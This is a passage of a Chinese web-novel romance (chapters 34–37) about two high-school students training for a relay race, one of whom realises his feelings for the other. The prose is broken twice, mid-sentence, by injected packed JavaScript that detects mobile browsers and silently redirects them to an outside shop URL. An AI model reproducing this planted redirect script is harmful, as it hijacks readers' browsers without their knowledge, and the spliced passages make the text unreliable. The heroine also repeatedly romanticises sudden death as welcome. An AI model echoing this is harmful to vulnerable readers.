他忽然抬手,拍了拍傅弦音的帽檐。 傅弦音抬手就把他手打掉。 她有些不服气:“不是,你骂我就罢了,怎么还敲我脑袋。” 这话说得着实有些夸张。 他充其量就是敲了敲帽檐,连傅弦音脑袋都没碰到。 帽檐被傅弦音往上掀了掀,露出她精致的眉眼,猫儿眼里含了几分恼意。 顾临钊却莫名觉得她有些可爱。 他懒洋洋:“啊,那你要不敲回来?” 傅弦音不想敲他脑袋。 她只想踹他一脚。 他比她高那么一块,说是让她敲回去,结果呢?连脑袋都不低,这话说的一点诚意都没有。 这么想着,傅弦音忽然感觉手腕上的挂绳一晃,不知怎么的,连秒表带挂绳就都到顾临钊手上了。 他抬起胳膊,晃晃手腕,黑色的挂绳垂在空中也荡了荡。 “YesorNo也无所谓了。” 顾临钊声音里带着懒散的笑意: “走吧,陪你一块去一趟。” 于是徐馨予就看见在傅弦音和纪逐渺身后,一个高高的人影在后面跟着。 她和田恬咕哝:“顾临钊来了,那应该是他答应帮我们测了,就顺着这条道跑吗?” 田恬点点头:“就和最后一棒冲刺的一样的地方。” 徐馨予比了个OK的手势,蹦蹦跳跳地去迎接傅弦音他们。 “你俩在这跑,刚好就是接力最后一棒冲刺的位置差不多。” 徐馨予脚尖点了点地,说:“田恬给你们吹哨。” “好。” 傅弦音和纪逐渺点点头。 徐馨予又跟顾临钊说:“咱俩去前面终点那给她们计时。” 顾临钊:“行。” 他话音刚落,徐馨予就准备带她去终点那,却听顾临钊说了一句:“等一下。” 徐馨予停下脚步,回头。 就见顾临钊有些无奈地看着傅弦音,问:“戴帽子跑,能看清路?” 傅弦音:“啊,你要戴啊。” 顾临钊:“……” 他叹了口气,真心实意的发问:“你语文139到底是怎么考的。” 傅弦音摘下帽子,捋了捋脑门被压得有些乱的碎发,一边递帽子一边骂: “不是顾临钊你有病吧,你到底是对我语文有什么意见。” 顾临钊顺手接过她的帽子,就见她脱下了校服外套。 他伸手,极其自然地拿过她的外套。 徐馨予见状对纪逐渺道:“你要不把外套给我,我给你拿着?” 纪逐渺抿了抿唇,摇了摇头:“没事,我穿着跑。” “穿着跑不会碍事吗?” 傅弦音活动着手腕,顺口问了一句。 纪逐渺抬头,下意识看了眼顾临钊。 他手上拿着傅弦音刚才戴过的帽子,胳膊上搭着傅弦音的外套,目光也一直落在傅弦音身上,一句话都没说。 “不碍事的。” 纪逐渺摇摇头。 徐馨予:“好吧,你坚持的话就穿着吧,你先跑跑试试,如果觉得效果不好等会就脱了我给你拿着。” 她转头跟顾临钊说:“那咱过去吧。” 顾临钊点点头:“行,走吧。” 纪逐渺扯了扯自己宽大的校服外套。 她其实,也没有一定要穿着外套。 就是不知道为什么,在那一瞬间,她下意识的就想要拒绝徐馨予的提议。 她抬头,看见顾临钊和徐馨予肩并肩朝前走,两人一左一右,顾临钊忽然侧了侧脸,好像和徐馨予说了什么似的,两人步子一拐,顾临钊去主席台的阴凉处拿了个杯子,而后又再往终点走。 那个杯子她有印象,是傅弦音之前常放在桌面上的。 “活动好了吗?” 田恬的声音从一旁传来。 傅弦音刷下马尾的发圈,咬在嘴里,一边梳头发一边有些含糊不清道: “你要再活动一下吗?” 纪逐渺方才回神。 她扭了扭手腕脚腕,简单地做了几个拉伸动作。 傅弦音重新扎了一遍头发,她扯着马尾两边,把马尾拽得紧了些。 她校服外套里面穿了个略微修身一点的短袖,正肩短袖不像宽松的校服一样无形,微微勾出她身形的曲线,却又不贴肤,只是在身体外面松松地套着。 短袖的下摆在腰部堆了几层,傅弦音扯了扯衣角,深吸一口气,站在跑道上做了一个预备姿势。 纪逐渺目视前方,眼神严肃认真,袖子被她撸到了胳膊肘,露出了一节纤细的小臂。 徐馨予和田恬做了他俩已经准备好了的手势。 田恬嘴里叼着哨子,站在两人旁边。 “准备好了吗?” 她问。 两人点点头。 田恬说:“我喊完三二一,然后吹哨,吹哨的瞬间你们就跑。” 她说完,指尖就捏着哨子,喊道: “三——” “二——” “一——” 尖锐的哨声穿透力极强。 几乎是瞬间,傅弦音就如同离弦的箭般冲了出去。 她个高腿长,步幅也大,在约莫50米的位置处就和纪逐渺拉开了大半个身位的差距。 顾临钊和徐馨予站在跑道边,傅弦音感觉自己的呼吸逐渐粗重起来。 体力比她想象中的还差。 新鲜的空气不断灌进肺里,傅弦音咬着最后一口气加快步频和摆臂频率。 顾临钊和徐馨予不断在她眼前放大再放大。 终于,她跑过了终点。 嗓子眼里几乎是瞬间就有血腥气涌上来,傅弦音一屁股坐在地上,觉得不满足似的,又四仰八叉地躺在了操场上。 管他什么形象不形象的,她是真的要累死了。 徐馨予看见躺在地上的傅弦音有些震惊:“她是,累成这样吗?” 纪逐渺呼吸也有些不畅,但是没有傅弦音这么夸张。 她喘着气过来问:“多少秒啊?” 顾临钊看了眼秒表的数字:“她14秒1,你是14秒8。” 纪逐渺点点头:“那我跑第二棒吧。” 徐馨予问:“要再测一遍吗?” 纪逐渺摇头:“不用了,再测一遍应该也是这个结果,我确实跑不过她,不过……” 她目光也落在躺在地上的傅弦音身上,她犹豫了一下,还是问道: “她怎么了?” 徐馨予摊摊手,眼神里有些担心。 “她体力不太好。”顾临钊弯腰捡起地上傅弦音的水杯,说:“你们先练,我去看看。” 他把秒表递给了徐馨予,简单说了一下使用方法之后就去前面找傅弦音了。 太阳直直地晒在傅弦音脸上,她连抬手都懒得抬,只是闭上眼睛阻挡阳光。 薄薄的眼皮根本没办法完全阻挡烈日,但是她是真的累。 再歇一会,歇一会站起来。 她在心里对自己说。 嘈杂的人声好像逐渐远去,傅弦音感觉自己的身体慢慢变轻。 忽然,眼前被一片阴影笼罩。 傅弦音睁开眼,看见一只骨节分明的手放在她眼前,挡住了烈日。 “刚跑完立刻躺下容易猝死。” 顾临钊说。 傅弦音:“猝死挺好的,这是我最喜欢的死法了。” 顾临钊没管她满嘴跑火车的话,他伸手打了个响指,说:“来,拉你起来。” 傅弦音也不睁眼,也不看人在哪,就从地上把手抬了抬。 她甚至连力气都没怎么用,胳膊抬了一下就要落回去。 却被人在空中接住。 那股力道把她上半身扯了起来,而后又把她整个人从地上拔了起来。 身体骤然离地的时候,傅弦音吓了一跳。 她猛然睁眼,不可置信地看着顾临钊: “你他妈是要把我旱地拔葱从这里当标枪扔出去吗?要不要使这么大的劲啊?” 顾临钊只是笑。 “起来就别躺下了。”他说:“慢慢走走缓一缓,刚跑完不能立刻躺。” 他把帽子扣傅弦音脑袋上,又把水杯拧开递给她。 傅弦音咕咚咕咚灌了一气,被他带着有些不情愿地在操场上走。 急促的呼吸和剧烈的心跳其实在刚才躺着的那一会已经恢复了大半了。 只是双腿还是有点没力气。 校服外套还在顾临钊手臂上搭着,走了约莫几十米,顾临钊停下步子,转头问:“好点了?” 傅弦音点了点头。 顾临钊伸手指了指一处阴凉地:“走到那,然后再坐,行不行?” 他这话有商有量的,跟哄小孩似的,傅弦音笑出声:“行啊。” 精神已经恢复了不少,傅弦音好奇问:“我刚才躺都躺了,现在再起来走,还有用吗?该猝死的不应该已经死透了吗?” 顾临钊叹了口气:“道理是这样,但你刚才那个状态,我觉得我要是去硬拉你起来先死的不是你是我了。” 傅弦音眼睛弯了弯。 耳边又传来一句:“现在走走就当是,给你养成点习惯吧。” 傅弦音正色:“习惯养成不了一点,我累了肯定直接躺下,哪还能管得了这么多,猝死就猝死了,也就一瞬间的事,与其等到我以后生什么病慢慢折磨然后死掉,我倒不如现在就死。” 这是实话。 傅弦音是真这么想的。 与其等着日后因为什么别的原因死掉,还不如就现在直接猝死。 “养成不了一点吗?” 顾临钊轻轻问。 傅弦音斩钉截铁回答:“养成不了一点,一点都养成不了。” “为什么?” 顾临钊突然问。 傅弦音没反应过来,转头看他:“什么为什么?” 胳膊被阴影笼罩,傅弦音摘下帽子,揉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060464|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了揉眼睛。 顾临钊的步子停了下来,他转过头,傅弦音能清晰地看见他脸上有些认真的神色。 他问:“习惯,为什么一点都养成不了。” 傅弦音靠着树,双手交叉抱在胸前,理所当然道:“因为我不想啊,我不想,当然就养成不了。” 顾临钊似乎是有什么执着,他不死心地继续问:“哪怕是好习惯也不想吗?” 傅弦音忽然笑出声来。 她上前一步,饶有兴致歪着脑袋,抬头往顾临钊面前凑了凑。 似乎是要看清楚顾临钊脸上的每一个表情。 “好习惯。”她重复了一遍,而后说:“谁定义的这个习惯是好还是不好呢?” “是我。” 她抬起手,指了指自己:“是我,来定义,这个习惯是好习惯还是坏习惯。” “不是什么道德法律,不是什么科学理论,更不是什么天理伦常约定成俗,是我。” “让我开心,让我舒服,让我觉得好的,就是好习惯。” “除此之外,全都不算好习惯。” 她手指白嫩,手背上的皮肤纤细,甚至都看不到什么纹路。 她指尖轻轻搭在自己的锁骨中间,而后微微往下落了落。 顾临钊的视线好像是跟随者她的手,也垂了垂。 “可是习惯是不受控制的。” 他忽然这么说。 “能够控制的,不跟随本能走的,不能叫做是习惯。” 傅弦音没回答他这个问题,她有些疑惑地看向顾临钊:“你怎么了你今天,干嘛纠结这个,要当哲学家吗?” 顾半仙爆改苏格拉底。 她一时间习惯不了这个。 顾临钊:“嗯,今天心情好,当一会哲学家。” 傅弦音:“我不大习惯哲学家。” 她还是比较习惯顾半仙,至少半仙放技能的时候不会跟她又这么一来一回的过程,半仙一般都是跳过过程直达结果。 “不过。” 她想了想,又接了一句:“适应适应,也不是不行,给我点时间习惯一下,行吗,顾格拉底。” 顾临钊的眉眼忽然舒展开了。 明明他表情没有什么大的变化,可傅弦音就是明显感觉到,在她说完这句话的瞬间,顾格拉底的眉眼忽然变得舒朗,就像是春风席卷过大地的每一寸,万物终于开始调动自己全身,充分地迎接了春天。 她觉得顾临钊是被这一句“顾格拉底”逗笑,心里存了好玩的意思,傅弦音又叫了一声: “这么开心啊,顾格拉底,大哲学家。” 顾临钊笑意更深,他挑挑眉:“这么快就习惯哲学家了?怎么,这算是个好习惯?” “是啊。”傅弦音承认:“你爆改哲学家,我不习惯的话你肯定不高兴,那我不得习惯习惯,让你高兴高兴。” 付出都是相互的,她傅弦音过去没什么朋友就罢了,现在有了朋友,当然也得学习并且运用一下这种朋友间的相处方式的。 现在看来,这种相处方式运用的极其成功。 因为顾半仙,不对,是顾格拉底。 顾格拉底脸上的开心和高兴已经到了一个藏都藏不住的程度了。 傅弦音觉得自己真是个天才。 学以致用不锁,效果也这么好,不愧是能考692的好苗子。 她毫不谦虚地夸了自己一通。 “傅弦音!” 徐馨予小跑过来,问:“你休息的怎么样了,好点了没?” 傅弦音不好意思地摸摸鼻子:“我休息得差不多了,我体力太差了,跑完一百就歇菜了。” “没事没事,这几天多练练,离运动会还有一个多星期呢,走,咱去连接棒,等会快下课的时候再跑一次。” 她拉着傅弦音就要往操场走,傅弦音手里还拿着水杯,她四处寻找着放杯子的地方,一只手从她手中拿走了杯子。 “杯子我给你拿着,等会跑完了正好过来找我。” 顾临钊脸上笑意还没完全消,傅弦音给他回了个OK的手势。 他就在原地看着傅弦音的背影一点点远去,就像看着刚才傅弦音朝着他一点点跑来一样。 肩膀忽然传来一道力,林安旭小跑过来,贼兮兮道: “看什么呢钊哥,这么高兴?” 顾临钊指了指自己:“很明显吗?” 林安旭夸张道:“明显到爆炸,你看起来好像是彩票中了一个亿一样高兴。” 林安旭好奇:“啥事这么高兴啊,跟我说说呗?” 顾临钊:“啊,也没什么事,就是确定了点什么。” 林安旭:“确定了点什么高兴成这样?你确定的不会真是彩票号吧?” 顾临钊就只是笑。 他觉得自己莫名其妙很久了。 生他自己都不知道为什么的闷气,烦他自己都不知道为什么的闷火。 而刚才,站在跑道的终端,他手里拿着秒表,看着傅弦音朝着终点跑过来的时候。 顾临钊很清晰的听见了,他重重的,有些加速的心跳。 于是在那一瞬间,所有的一切就那么很突然地串起来了,在他的心里,告诉了他一个结果。 不明所以的烦恼了然了,不知道为什么的闷气也有了答案。 他这才后知后觉地反应过来。 他,喜欢上傅弦音了。 35. 心烦 不知是不是傅弦音的错觉,体育课就像一个分水岭。 在之前,运动会都还只停留在大家的嘴上念叨阶段,而体育课之后,大家才真正会在晚自习下课后去操场练。 晚自习下课,徐馨予早早收拾好书包,卡着铃声来找傅弦音: “傅弦音,别忘了晚上我们要训练的啊。” 傅弦音写题的动作一顿。 如果不是徐馨予说,她还真忘了。 她说:“好,你等我一下,我写完这道题。” 徐馨予说:“没事,不急。” 这道题她思路很清晰,落笔之后基本就没怎么停过。 写完之后,她开始收拾书包。 尹泽轩还在和物理卷子做斗争,傅弦音走之前和他打了个招呼。他刚才也听到了徐馨予的话,于是问了一句: “你和她们去操场练接力吗?” 傅弦音弯腰翻找着笔记本,说:“对,你去操场吗?” 尹泽轩摇摇头:“我不去,我等会直接回宿舍了,我没报项目。” 男生人多,项目从来不会有报不满的情况。对于像尹泽轩这种对运动不怎么感冒的学生,高颖也不会硬派项目给他们。 傅弦音叹气:“羡慕啊,我走了,明天见。” 程昭昭和陈念可也都有项目,几人正好结伴一块去操场。 林安旭报了男子的200米,刚好和程昭昭一起练,陈念可则主要是来操场放个风,练跳远都是次要的。 陈念可笑眯眯地坐在体育器材那一块,伸伸懒腰,说:“你们去练吧,我歇会。” 于是在傅弦音还没反应过来的时候,她身边就只剩下顾临钊一个人了。 她有些后知后觉地看向身边的人,问:“你也报项目了?我还以为你跟尹泽轩一样,不会报项目呢。” 顾临钊没什么情绪的反问:“为什么这么觉得?” 傅弦音:“就是……直觉吧。” 顾临钊:“觉得我和尹泽轩像?” 傅弦音莫名:“你这什么问题。我都说了直觉。” 她不知道为什么,心中忽然腾起来一股不耐烦的情绪:“所以你到底报没报啊。” 顾临钊:“报了。” 他没再说话,傅弦音也没想搭理他。 明明很简单的一句话就能回答的问题,这人非得给她绕这么大的圈子。 上午阴阳怪气说她在“YesorNo”里回答了“or”,还质疑她语文139。 现在看来,他不也是一样吗?有比她强到哪里去吗?还好意思说她。 傅弦音本来也算不得脾气多好的人,越想越烦。 她也不管身边是不是还有个人了,书包随便一放就去找徐馨予她们练接棒。 按照上午体育课定下来的结果,她是最后一棒,只需要和田恬练好交接就行。 另一边徐馨予和纪逐渺在练接棒,田恬问她: “你之前没跑过接力?” 傅弦音认真地想了一下:“小学的时候跑过那种直道的接力。” 田恬:…… 她不死心:“4*100这种,从来没跑过?” 傅弦音坦诚摇头:“从来没,我不喜欢运动,运动会从来一个项目都不报。” 田恬:“……” 她认命道:“那我跟你说一下。” 田恬中考是体育特长生考上的北川一中,后来学习成绩上来了,再加上体育也都是青春饭,就没走体育改走文化课了。 她很专业,几乎把所有注意事项都跟她说了一遍,最后还专门指出了上午她跑步的问题: “你耐力太差了,说实话,你爆发力很好,我没怎么见过没训练过100米冲刺能跑到这个速度,但我也没见过有人跑完100米累成这样。” 傅弦音:…… 她叹气:“后面那句话可以不用说的。” 田恬:“4*100的预赛和半决赛和决赛都是在同一天,我们20个班,5个班一组,如果我们能进决赛至少要跑两次,你现在的体力能跑两次吗?” 傅弦音:“应该……跑不了。” 她太久没运动,真的太久没运动了,上午跑完步,现在大腿都还有点发软。 田恬:“那你要在这一周的时间把耐力练一练,每天多跑一跑,至少一天跑4组100米,今天第一天,我等会给你计时你再冲刺一次,然后再匀速跑一个800米。” 傅弦音:“多少?800?” 田恬:“你耐力太差了,不练的话到时候小组赛跑完你就歇菜了,后面还比什么。” 傅弦音顿时后悔当时答应了高颖跑接力。 她完全没想到训练是这样,她本来以为练练接棒递棒就可以了,怎么短跑还要跑800。 田恬看着身边蔫下去的人,有些不解:“这些跑完用不了半个小时,不会耽误你去学习的,你不是说你每天可以练半个小时的吗?” 傅弦音扶额:“我不是担心超时,我是担心我死在操场上。” 天知道,她从体育中考之后再也没有跑过800米了。 田恬:“没事,慢慢跑,不会死。” 她顿了顿,很认真道:“我当时练体育,有专门学过专业的心肺复苏之类的急救措施,如果你真的不舒服很难受就和我说,万一真的心脏骤停之类的,我也不是什么都做不了的。” 傅弦音摇摇头:“别,我万一真的心脏骤停,你什么都别做,让我死了算了。” 田恬说:“那再测一次100吧,我看看你休息一天之后成绩会不会下降。我没有秒表,我记得上午那个秒表是找顾临钊借的,你要不再去找他借一下试试。” 傅弦音咬了咬下唇。 刚才因为和田恬聊天短暂消失的烦躁再度卷土重来。 她不是很明白自己这股烦躁具体从何而来,但是她很明白自己现在不大想搭理顾临钊。 田恬不明所以,看着她:“怎么了?他不是就在那吗?” 傅弦音顺着她的手看去,顾临钊站在操场的另一角,和徐馨予纪逐渺她们站在一起说着什么。 傅弦音:“徐馨予是不是也在找他借秒表。”她顿了顿,说:“问问林安旭能不能借到吧。” 田恬:“也行。” 林安旭和程昭昭刚好跑完一组,傅弦音很顺利就借到了秒表,田恬拿着秒表,嘴里叼着哨,和傅弦音定好预备的口令: “我吹三声哨,当三二一,第四声哨响你就跑,行吗?” 傅弦音点点头:“行。” 她脱了校服外套,随手扔在操场旁边,活动了一下手腕脚腕,做好了预备姿势。 田恬站在终点,手里拿着秒表,天黑的厉害,操场没几盏灯,昏黄黑暗中,傅弦音看不大清人影。 尖锐的哨声从不远处传来。 傅弦音心中默念着: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060465|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三—— 二—— 一—— 第四声哨向,她迅速反应,迈开双腿就跑了出去。 这一次,身体的反应比上午更剧烈。 才跑了不到一半的距离,傅弦音就感觉自己的腿有点软,她咬着牙,加快摆臂的频率和步幅,跑过田恬的瞬间就腿一软,躺在了地上。 田恬掐着表给她报时间:“15秒3,比上午慢了一秒多,这还是在你休息了一天的情况。” 傅弦音只觉得自己嗓子眼里有一头牛在喘,她是真的一句话都说不出来,躺在地上胡乱地点了两下头。 风声呼啸而过,万物吵闹中,田恬的声音虚虚实实,听不大清楚。 她闭着眼睛,胸膛起伏剧烈。 忽然,一道格外清晰的叹息声在她耳边传来。 傅弦音以为是田恬怕她猝死了要上来给她做心肺复苏,忙用胳膊撑起身子,坐起来的瞬间却和面前的人四目相对。 不是田恬。 是顾临钊。 他就这么坐在她对面,微微弯着腰,目光直直看着她,眼里神色有些复杂。 可是夜太黑了,真的太黑了。 傅弦音看不清他眼里的情绪。 晚风吹乱了顾临钊的额发,他什么话都没有说,只是静静地看着她。 有那么一瞬间。 傅弦音觉得世界好像静止了一秒。 风也停了,声也静了。 万物的存在感都逐渐消失,仿佛整个世界上,只有他们两人存在一般。 像是世界末日。 又似世界伊始。 傅弦音忽然觉得,如果猝死在这一刻,好像也不错。 无论是世界末日还是世界伊始,无论是万物复苏还是生机尽灭。 这样的时刻,结束她糟糕的生命,并为她的死亡奏响高歌。 是傅弦音能想到的,最美妙的事情。 可是世界从来不如她所愿。 这种运动强度只能让她累的想死,完全没办法让她猝死。 傅弦音缓慢地叹了口气。 对面的人慢慢站了起来,伸出了一只手。 傅弦音抓住那只手,任由那股力道将自己从地上拔起来。 似乎是有了上午的经验,傅弦音这次并没有被拉得一个踉跄。 她平稳地站在地上,只是脚步有些虚浮。 出乎意料的,顾临钊一句话都没说。 傅弦音也不知道自己在莫名其妙地犟些什么,明明心里那股烦躁早就消失了,可她就是憋着一股劲,不愿意先做低头的那一个人。 似乎也不能叫做先低头的那一个人。 因为她和顾临钊好像压根连矛盾都没发生,只是寻常的拌嘴,她生气的原因只是因为她自己脾气不好而已。 可是明明一句话就能回答的问题,顾临钊偏偏要和她兜圈子那么久。 两个小人在傅弦音脑子里打架,谁都不肯服输,谁都不肯先让一步。 傅弦音在原地站了一会。 对面的人既没有要开口说话的意思,也没有要走的意思。 脑子里的两个小人吵来吵去,傅弦音咬了咬腮帮的软肉,疼痛迫使她回神,她垂眸盯着自己的鞋子,最终迈步准备离开。 然而步子才刚迈出去,手腕就被人扯住。 一道略低的声音钻进她耳朵: “傅弦音,你是在和我闹脾气吗?” 36. 闹 闹脾气? 顾临钊这话一出,傅弦音脑子懵了一瞬间。 她怎么会和人闹脾气。 她怎么会是在和顾临钊,闹脾气呢? 这个形容词怎么会放在,他们两个身上呢? 傅弦音一瞬间觉得顾临钊疯了。 可他神色认真,握着她手腕的手指在她冰冷的腕关节出晕开阵阵温度。 傅弦音脑子里乱成一片。 闹脾气和发脾气不一样,发脾气是冲人发发火,是把怒气和怨气发泄出来,是不用顾忌后果,不用有任何期待和担忧的。 而闹脾气则更像是,我明知道你在乎我,所以我要和你闹一闹,因为我吃准了你不会对我不管不顾。 她不是傻子。 闹脾气这种行为,傅弦音数不清有多少年没做过了。 陈慧梅和傅东远没给过她这种机会,傅弦音小小年纪就知道,闹脾气这种事情在她身上永远都发生不了。 因为没有人能够包容她的脾气,傅弦音也没有可以闹一闹的对象。 她会发火,会发脾气,会和吴嘉程打架。 但这些都不是闹脾气。 在顾临钊脱口而出闹脾气三个字的瞬间,傅弦音下意识想反驳。 可话在嘴边却无论如何也说不出口。 因为哪怕她再排斥,哪怕她再怎么说服自己,她都不得不承认。 自己这通脾气发的,确实是有了那么点闹一闹的意思在。 这个认知让傅弦音有点惊慌。 顾临钊的视线落在她脸上,少年视线清朗如月光,傅弦音却觉得脸颊被灼得滚烫。 手腕被他圈住,脚下也似灌了铅,她说不得,动不得,就这么呆愣愣地站在原地,祈求时间飞速流逝,不要停留在这一刻。 多荒谬啊。 明明刚才她还想着时间永远驻足。 现在却又想让时间快点远走。 只是这一次,上天好像眷顾了她这个从未被命运垂怜的可怜人。 顾临钊握着她手腕的手松开,胳膊骤然失了力,垂在身侧晃荡了两下。 “走一走吧。” 他说。 “你体力不好,100米单单冲刺的话,田恬说你没什么问题。但是你一次,甚至说一天,只能保持一次良好的状态去支持你跑100米。” 操场上,顾临钊脚步放得缓,傅弦音努力平复着呼吸,心跳却不知道怎么,一直跳得剧烈。 没等到回话,顾临钊回头,就看见傅弦音小口小口地喘着气。 他皱眉:“你……还在喘吗?” 傅弦音压下急促的呼吸,努力保持平静:“没有了。” 她说:“田恬跟我说了,她让我练练长跑,增强一下体力,不然到时候如果进了半决赛甚至决赛,我肯定跑不了。” 顾临钊点点头。 他歪歪脑袋,看着傅弦音,忽然轻笑了一声: “所以。” “所以?” 傅弦音不明所以地看向他。 顾临钊说:“每天晚自习结束,和我跑会步吧。” 傅弦音几乎是立刻就拒绝了:“你跑的太快,我跟不上。” 顾临钊丝毫不意外她是这个反应,甚至傅弦音觉得,顾半仙发动技能,预判了她的预判,提前做好了答案回答她。 他说:“不会的,我和你保持同一个节奏。” 傅弦音抿了抿唇:“那你跑有什么意义,我跑步慢得像龟爬,你别说为了运动会做准备,就是平时普通锻炼你都会嫌慢的程度。” 顾临钊叹了口气。 傅弦音闭上了嘴巴。 她觉得自己今天晚上好奇怪。 先是不知道抽什么风和顾临钊闹了这么一通脾气,又是不知道哪根筋搭错了,非得和顾临钊犟这个。 明明顾临钊陪她跑的话,是对她来说最好的解决方案。 顾临钊肯定不会跑得快到让他跟不上,按照顾半仙的心地善良程度和心细程度,他会选择一个最适合傅弦音的速度,带着她跑,甚至和她说话,转移她注意力,帮她调整呼吸。 傅弦音相信顾临钊能干出来这种事。 可她就是像只刺猬,顾临钊戳她一下她就扎他一下。 哪怕他是好心好意,可傅弦音就是忍不住这样说。 傅弦音觉得自己要么是学习学出癔症了,要么就是太久不运动早上的100米跑得她脑子全飞了。 不然她今天为什么会犯这种毫无道理蛮不讲理的病。 顾临钊好半天都没说话。 傅弦音心里有点空。 要不,她想,要不主动说点什么吧。 就当是给自己一个台阶下了,反正今天本来也是她的不对。 她不能仗着顾半仙人好心善就这么欺负他。 哪有这样做朋友的呀。 脑子里打好了草稿,傅弦音刚要开口,对面的男生却笑了一声。 傅弦音被她这声笑吓了一跳。 她抬头,看见顾临钊眼角眉梢带了几分笑意。 不是,她发癔症就罢了,顾半仙,不是,顾格拉底怎么也犯癔症了? 还没等她细想,顾临钊就弯了弯腰,他身子往前探了探,刚好和她平视。 他眼神里好像有些探究,但更多的还是温和的笑意。 他问:“傅弦音,你今天怎么这么喜欢和我闹脾气啊。” 他丝毫没有被怨气砸中的烦躁和气恼,反而是一片包容与温和。 他就这么温柔地看着她,好像在说—— 我愿意接纳你的一切脾气。 所以傅弦音,和我闹一闹吧。 疯了。 真的是疯了。 她疯了,顾临钊疯了,这个世界也疯了。 傅弦音感觉自己的CPU都□□烧了。 她的脑子好像一点都不转了。 风吹过,傅弦音裸露在外的胳膊被冷得起了一层鸡皮疙瘩。 冰凉肌肤上,顾临钊圈住她手腕的那一圈就更加滚烫。 像是被灼烧。 傅弦音下意识挣了挣。 出乎意料的,顾临钊放开了她的手。 见她捏了捏手腕,顾临钊眉头微蹙,他问:“弄疼你了?” 傅弦音抿抿唇:“没有,就是,有点冷。” “跑一跑就不冷了。” 身边的人动了动,先迈开了步子,见傅弦音停在原地没动,他回身,冲她勾了勾手。 他说: “跟上来,傅弦音。” 跟上来。 步子没有想象中沉重,傅弦音跟上了他。 他步子放得很缓,傅弦音感觉自己的心率慢慢爬升,但是又停留在一个不至于让她非常难受的程度。 身边的人游刃有余,甚至还能跟她说话: “田恬说跑让你今天先跑800米,那我就带你跑两圈吧。” “不用着急,慢慢跑。” “调整呼吸,注意节奏。” “累吗?喘不上气就告诉我。” 傅弦音没带手表,不知道过了多久。 她只觉得身体轻飘飘的,耳边是顾临钊有一搭没一搭的闲聊,她左耳进右耳出,有时回那么一两句,但说话后气息容易乱,所以到了第二圈顾临钊就没让她说话了。 就只是他在说。 说考试,说学习,说作业,说天气。 跑步的时候,听点节奏感强的音乐一般是会让人从心理上感觉稍微轻松些的。 步子跟着音乐的节奏频率来跑,脑子放空。 这是傅弦音之前在网上刷到的一些跑步技巧。 按照这个逻辑来说,顾临钊和她说话本不应该让她感觉到有任何的轻松。 他语气轻缓,不像动感极强的音乐那样有冲击力。 但是身子好像就是这么奇妙得没有那么累了。 两圈很快跑完。 其实客观来说时间并不短,但傅弦音主观觉得,时间过得就是很快。 气息还算是均匀,傅弦音走在操场上,十月中旬的晚上风已经是偏凉的,傅弦音刚才跑步出了点汗,风一吹,浑身冰凉,她下意识抱了抱胳膊。 顾临钊敏锐地察觉到她的动作,问:“你外套呢?” 傅弦音的目光在操场上转了一圈,而后耸耸肩膀:“刚才跑之前脱了,忘了扔哪了。” “可能是,”傅弦音思索着:“那边吧,我从那开始跑的,应该扔那了。” 她指的是 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有了顾临钊的外套,傅弦音就没打算横穿操场去拿衣服和书包,她在跑道上慢悠悠地走,顾临钊就在他身边,保持着和她一样的速度,也慢悠悠地走。 不需要说话,也不需要做什么。 这种氛围,让傅弦音觉得,很舒服。 “音音——” 程昭昭拉着陈念可小跑过来,后者累的扶着膝盖大喘气。 程昭昭的体力是真的不错,和林安旭跑了那么半天,现在也看不太出来疲惫。 她说:“音音,你还要练吗?” 傅弦音摇摇头:“不练了,我打算去拿书包然后回宿舍。” 程昭昭:“我也是,念可也不想练了,你书包呢?” 傅弦音指了指操场斜对角。 程昭昭说:“我书包在边上,那咱等会主席台那见!” 她说完就风风火火地跑走了,陈念可在后面哀嚎:“你慢点,累死我了——” 程昭昭扬声道:“哎呀真受不了你,你慢慢走吧,我给你把书包一块拿了——” 身边的人丝毫没有要走的意思。 傅弦音慢半拍地“啊”了一声,抬手就要脱外套,动作却被人拦了一下。 顾临钊:“不冷了?” 傅弦音:“你不是等我把外套还你然后你去拿书包吗?” 顾临钊皱皱眉毛:“我刚才说这句话了?” 傅弦音:“没说,但是——” 她话还没说完,就被顾临钊打断。 顾临钊说:“那就没有但是,穿着。” 穿着。 行吧。 傅弦音撇撇嘴。 反正冷的不是她。 风好像又大了些,傅弦音手缩在袖口里,她把拉链拉上,又抱紧双臂。 明天要穿件厚一点的外套了,她心想。 她刚才心里生着气,找田恬的时候书包外套也是随手往操场上一扔就算完事。 现在一看,她的书包和外套竟然被人好端端地放在了操场的角落。 是谁放的不言而喻。 傅弦音转头看向身边的人,他也没藏着掖着,而是说:“放操场上挡路。” 傅弦音小声辩解:“我没放跑道上,不挡路。” 顾临钊声音带了点隐约的笑意,他说:“嗯,我知道。” “这不是怕你随便乱扔找不到吗?” 傅弦音自认为是冷漠无情的铁石心肠忽然小小地愧疚了一下。 她随便冲人乱发脾气,结果人家不生气不说,还跟在她后面帮她放书包。 一句对不起在傅弦音口里绕了半天。 就当她眼一闭心一横,准备真心实意跟顾临钊道个歉的时候,身边的人再次先她一步开口: “要给我道歉吗?” 傅弦音下意识就要点头,然而脑袋还没低下去,头顶忽然被人微微用力地按住。 她这个头,愣是没点下去。 她听见顾临钊说: “别道歉,傅弦音。” 不用跟他道歉,也不要跟他道歉。 傅弦音。 别道歉。 37. 窒息 考试临近,学习任务量变大。 